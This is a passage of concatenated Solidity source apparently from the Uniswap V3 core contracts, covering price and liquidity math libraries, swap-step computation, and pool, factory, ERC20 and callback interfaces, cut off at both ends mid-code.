r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for liquidity
library LiquidityMath {
/// @notice Add a signed liquidity delta to liquidity and revert if it overflows or underflows
/// @param x The liquidity before change
/// @param y The delta by which liquidity should be changed
/// @return z The liquidity delta
function addDelta(uint128 x, int128 y) internal pure returns (uint128 z) {
if (y < 0) {
require((z = x - uint128(-y)) < x, 'LS');
} else {
require((z = x + uint128(y)) >= x, 'LA');
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0;
import './LowGasSafeMath.sol';
import './SafeCast.sol';
import './FullMath.sol';
import './UnsafeMath.sol';
import './FixedPoint96.sol';
/// @title Functions based on Q64.96 sqrt price and liquidity
/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas
library SqrtPriceMath {
using LowGasSafeMath for uint256;
using SafeCast for uint256;
/// @notice Gets the next sqrt price given a delta of token0
/// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least
/// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the
/// price less in order to not send too much output.
/// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),
/// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).
/// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta
/// @param liquidity The amount of usable liquidity
/// @param amount How much of token0 to add or remove from virtual reserves
/// @param add Whether to add or remove the amount of token0
/// @return The price after adding or removing amount, depending on add
function getNextSqrtPriceFromAmount0RoundingUp(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amount,
bool add
) internal pure returns (uint160) {
// we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price
if (amount == 0) return sqrtPX96;
uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;
if (add) {
uint256 product;
if ((product = amount * sqrtPX96) / amount == sqrtPX96) {
uint256 denominator = numerator1 + product;
if (denominator >= numerator1)
// always fits in 160 bits
return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));
}
return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));
} else {
uint256 product;
// if the product overflows, we know the denominator underflows
// in addition, we must check that the denominator does not underflow
require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);
uint256 denominator = numerator1 - product;
return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();
}
}
/// @notice Gets the next sqrt price given a delta of token1
/// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least
/// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the
/// price less in order to not send too much output.
/// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity
/// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta
/// @param liquidity The amount of usable liquidity
/// @param amount How much of token1 to add, or remove, from virtual reserves
/// @param add Whether to add, or remove, the amount of token1
/// @return The price after adding or removing `amount`
function getNextSqrtPriceFromAmount1RoundingDown(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amount,
bool add
) internal pure returns (uint160) {
// if we're adding (subtracting), rounding down requires rounding the quotient down (up)
// in both cases, avoid a mulDiv for most inputs
if (add) {
uint256 quotient =
(
amount <= type(uint160).max
? (amount << FixedPoint96.RESOLUTION) / liquidity
: FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)
);
return uint256(sqrtPX96).add(quotient).toUint160();
} else {
uint256 quotient =
(
amount <= type(uint160).max
? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)
: FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)
);
require(sqrtPX96 > quotient);
// always fits 160 bits
return uint160(sqrtPX96 - quotient);
}
}
/// @notice Gets the next sqrt price given an input amount of token0 or token1
/// @dev Throws if price or liquidity are 0, or if the next price is out of bounds
/// @param sqrtPX96 The starting price, i.e., before accounting for the input amount
/// @param liquidity The amount of usable liquidity
/// @param amountIn How much of token0, or token1, is being swapped in
/// @param zeroForOne Whether the amount in is token0 or token1
/// @return sqrtQX96 The price after adding the input amount to token0 or token1
function getNextSqrtPriceFromInput(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amountIn,
bool zeroForOne
) internal pure returns (uint160 sqrtQX96) {
require(sqrtPX96 > 0);
require(liquidity > 0);
// round to make sure that we don't pass the target price
return
zeroForOne
? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true)
: getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true);
}
/// @notice Gets the next sqrt price given an output amount of token0 or token1
/// @dev Throws if price or liquidity are 0 or the next price is out of bounds
/// @param sqrtPX96 The starting price before accounting for the output amount
/// @param liquidity The amount of usable liquidity
/// @param amountOut How much of token0, or token1, is being swapped out
/// @param zeroForOne Whether the amount out is token0 or token1
/// @return sqrtQX96 The price after removing the output amount of token0 or token1
function getNextSqrtPriceFromOutput(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amountOut,
bool zeroForOne
) internal pure returns (uint160 sqrtQX96) {
require(sqrtPX96 > 0);
require(liquidity > 0);
// round to make sure that we pass the target price
return
zeroForOne
? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false)
: getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false);
}
/// @notice Gets the amount0 delta between two prices
/// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper),
/// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The amount of usable liquidity
/// @param roundUp Whether to round the amount up or down
/// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices
function getAmount0Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity,
bool roundUp
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;
uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;
require(sqrtRatioAX96 > 0);
return
roundUp
? UnsafeMath.divRoundingUp(
FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96),
sqrtRatioAX96
)
: FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;
}
/// @notice Gets the amount1 delta between two prices
/// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The amount of usable liquidity
/// @param roundUp Whether to round the amount up, or down
/// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices
function getAmount1Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity,
bool roundUp
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
roundUp
? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96)
: FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Helper that gets signed token0 delta
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The change in liquidity for which to compute the amount0 delta
/// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices
function getAmount0Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
int128 liquidity
) internal pure returns (int256 amount0) {
return
liquidity < 0
? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()
: getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();
}
/// @notice Helper that gets signed token1 delta
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The change in liquidity for which to compute the amount1 delta
/// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices
function getAmount1Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
int128 liquidity
) internal pure returns (int256 amount1) {
return
liquidity < 0
? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()
: getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0;
import './FullMath.sol';
import './SqrtPriceMath.sol';
/// @title Computes the result of a swap within ticks
/// @notice Contains methods for computing the result of a swap within a single tick price range, i.e., a single tick.
library SwapMath {
/// @notice Computes the result of swapping some amount in, or amount out, given the parameters of the swap
/// @dev The fee, plus the amount in, will never exceed the amount remaining if the swap's `amountSpecified` is positive
/// @param sqrtRatioCurrentX96 The current sqrt price of the pool
/// @param sqrtRatioTargetX96 The price that cannot be exceeded, from which the direction of the swap is inferred
/// @param liquidity The usable liquidity
/// @param amountRemaining How much input or output amount is remaining to be swapped in/out
/// @param feePips The fee taken from the input amount, expressed in hundredths of a bip
/// @return sqrtRatioNextX96 The price after swapping the amount in/out, not to exceed the price target
/// @return amountIn The amount to be swapped in, of either token0 or token1, based on the direction of the swap
/// @return amountOut The amount to be received, of either token0 or token1, based on the direction of the swap
/// @return feeAmount The amount of input that will be taken as a fee
function computeSwapStep(
uint160 sqrtRatioCurrentX96,
uint160 sqrtRatioTargetX96,
uint128 liquidity,
int256 amountRemaining,
uint24 feePips
)
internal
pure
returns (
uint160 sqrtRatioNextX96,
uint256 amountIn,
uint256 amountOut,
uint256 feeAmount
)
{
bool zeroForOne = sqrtRatioCurrentX96 >= sqrtRatioTargetX96;
bool exactIn = amountRemaining >= 0;
if (exactIn) {
uint256 amountRemainingLessFee = FullMath.mulDiv(uint256(amountRemaining), 1e6 - feePips, 1e6);
amountIn = zeroForOne
? SqrtPriceMath.getAmount0Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, true)
: SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, true);
if (amountRemainingLessFee >= amountIn) sqrtRatioNextX96 = sqrtRatioTargetX96;
else
sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromInput(
sqrtRatioCurrentX96,
liquidity,
amountRemainingLessFee,
zeroForOne
);
} else {
amountOut = zeroForOne
? SqrtPriceMath.getAmount1Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, false)
: SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, false);
if (uint256(-amountRemaining) >= amountOut) sqrtRatioNextX96 = sqrtRatioTargetX96;
else
sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromOutput(
sqrtRatioCurrentX96,
liquidity,
uint256(-amountRemaining),
zeroForOne
);
}
bool max = sqrtRatioTargetX96 == sqrtRatioNextX96;
// get the input/output amounts
if (zeroForOne) {
amountIn = max && exactIn
? amountIn
: SqrtPriceMath.getAmount0Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, true);
amountOut = max && !exactIn
? amountOut
: SqrtPriceMath.getAmount1Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, false);
} else {
amountIn = max && exactIn
? amountIn
: SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, true);
amountOut = max && !exactIn
? amountOut
: SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, false);
}
// cap the output amount to not exceed the remaining output amount
if (!exactIn && amountOut > uint256(-amountRemaining)) {
amountOut = uint256(-amountRemaining);
}
if (exactIn && sqrtRatioNextX96 != sqrtRatioTargetX96) {
// we didn't reach the target, so take the remainder of the maximum input as fee
feeAmount = uint256(amountRemaining) - amountIn;
} else {
feeAmount = FullMath.mulDivRoundingUp(amountIn, feePips, 1e6 - feePips);
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title An interface for a contract that is capable of deploying Uniswap V3 Pools
/// @notice A contract that constructs a pool must implement this to pass arguments to the pool
/// @dev This is used to avoid having constructor arguments in the pool contract, which results in the init code hash
/// of the pool being constant allowing the CREATE2 address of the pool to be cheaply computed on-chain
interface IUniswapV3PoolDeployer {
/// @notice Get the parameters to be used in constructing the pool, set transiently during pool creation.
/// @dev Called by the pool constructor to fetch the parameters of the pool
/// Returns factory The factory address
/// Returns token0 The first token of the pool by address sort order
/// Returns token1 The second token of the pool by address sort order
/// Returns fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// Returns tickSpacing The minimum number of ticks between initialized ticks
function parameters()
external
view
returns (
address factory,
address token0,
address token1,
uint24 fee,
int24 tickSpacing
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title The interface for the Uniswap V3 Factory
/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees
interface IUniswapV3Factory {
/// @notice Emitted when the owner of the factory is changed
/// @param oldOwner The owner before the owner was changed
/// @param newOwner The owner after the owner was changed
event OwnerChanged(address indexed oldOwner, address indexed newOwner);
/// @notice Emitted when a pool is created
/// @param token0 The first token of the pool by address sort order
/// @param token1 The second token of the pool by address sort order
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks
/// @param pool The address of the created pool
event PoolCreated(
address indexed token0,
address indexed token1,
uint24 indexed fee,
int24 tickSpacing,
address pool
);
/// @notice Emitted when a new fee amount is enabled for pool creation via the factory
/// @param fee The enabled fee, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee
event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);
/// @notice Returns the current owner of the factory
/// @dev Can be changed by the current owner via setOwner
/// @return The address of the factory owner
function owner() external view returns (address);
/// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled
/// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context
/// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee
/// @return The tick spacing
function feeAmountTickSpacing(uint24 fee) external view returns (int24);
/// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist
/// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
/// @param tokenA The contract address of either token0 or token1
/// @param tokenB The contract address of the other token
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @return pool The pool address
function getPool(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address pool);
/// @notice Creates a pool for the given two tokens and fee
/// @param tokenA One of the two tokens in the desired pool
/// @param tokenB The other of the two tokens in the desired pool
/// @param fee The desired fee for the pool
/// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved
/// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments
/// are invalid.
/// @return pool The address of the newly created pool
function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);
/// @notice Updates the owner of the factory
/// @dev Must be called by the current owner
/// @param _owner The new owner of the factory
function setOwner(address _owner) external;
/// @notice Enables a fee amount with the given tickSpacing
/// @dev Fee amounts may never be removed once enabled
/// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)
/// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount
function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Minimal ERC20 interface for Uniswap
/// @notice Contains a subset of the full ERC20 interface that is used in Uniswap V3
interface IERC20Minimal {
/// @notice Returns the balance of a token
/// @param account The account for which to look up the number of tokens it has, i.e. its balance
/// @return The number of tokens held by the account
function balanceOf(address account) external view returns (uint256);
/// @notice Transfers the amount of token from the `msg.sender` to the recipient
/// @param recipient The account that will receive the amount transferred
/// @param amount The number of tokens to send from the sender to the recipient
/// @return Returns true for a successful transfer, false for an unsuccessful transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/// @notice Returns the current allowance given to a spender by an owner
/// @param owner The account of the token owner
/// @param spender The account of the token spender
/// @return The current allowance granted by `owner` to `spender`
function allowance(address owner, address spender) external view returns (uint256);
/// @notice Sets the allowance of a spender from the `msg.sender` to the value `amount`
/// @param spender The account which will be allowed to spend a given amount of the owners tokens
/// @param amount The amount of tokens allowed to be used by `spender`
/// @return Returns true for a successful approval, false for unsuccessful
function approve(address spender, uint256 amount) external returns (bool);
/// @notice Transfers `amount` tokens from `sender` to `recipient` up to the allowance given to the `msg.sender`
/// @param sender The account from which the transfer will be initiated
/// @param recipient The recipient of the transfer
/// @param amount The amount of the transfer
/// @return Returns true for a successful transfer, false for unsuccessful
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/// @notice Event emitted when tokens are transferred from one address to another, either via `#transfer` or `#transferFrom`.
/// @param from The account from which the tokens were sent, i.e. the balance decreased
/// @param to The account to which the tokens were sent, i.e. the balance increased
/// @param value The amount of tokens that were transferred
event Transfer(address indexed from, address indexed to, uint256 value);
/// @notice Event emitted when the approval amount for the spender of a given owner's tokens changes.
/// @param owner The account that approved spending of its tokens
/// @param spender The account for which the spending allowance was modified
/// @param value The new allowance from the owner to the spender
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Callback for IUniswapV3PoolActions#mint
/// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface
interface IUniswapV3MintCallback {
/// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.
/// @dev In the implementation you must pay the pool tokens owed for the minted liquidity.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// @param amount0Owed The amount of token0 due to the pool for the minted liquidity
/// @param amount1Owed The amount of token1 due to the pool for the minted liquidity
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Callback for IUniswapV3PoolActions#flash
/// @notice Any contract that calls IUniswapV3PoolActions#flash must implement this interface
interface IUniswapV3FlashCallback {
/// @notice Called to `msg.sender` after transferring to the recipient from IUniswapV3Pool#flash.
/// @dev In the implementation you must repay the pool the tokens sent by flash plus the computed fee amounts.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// @param fee0 The fee amount in token0 due to the pool by the end of the flash
/// @param fee1 The fee amount in token1 due to the pool by the end of the flash
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#flash call
function uniswapV3FlashCallback(
uint256 fee0,
uint256 fee1,
bytes calldata data
) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
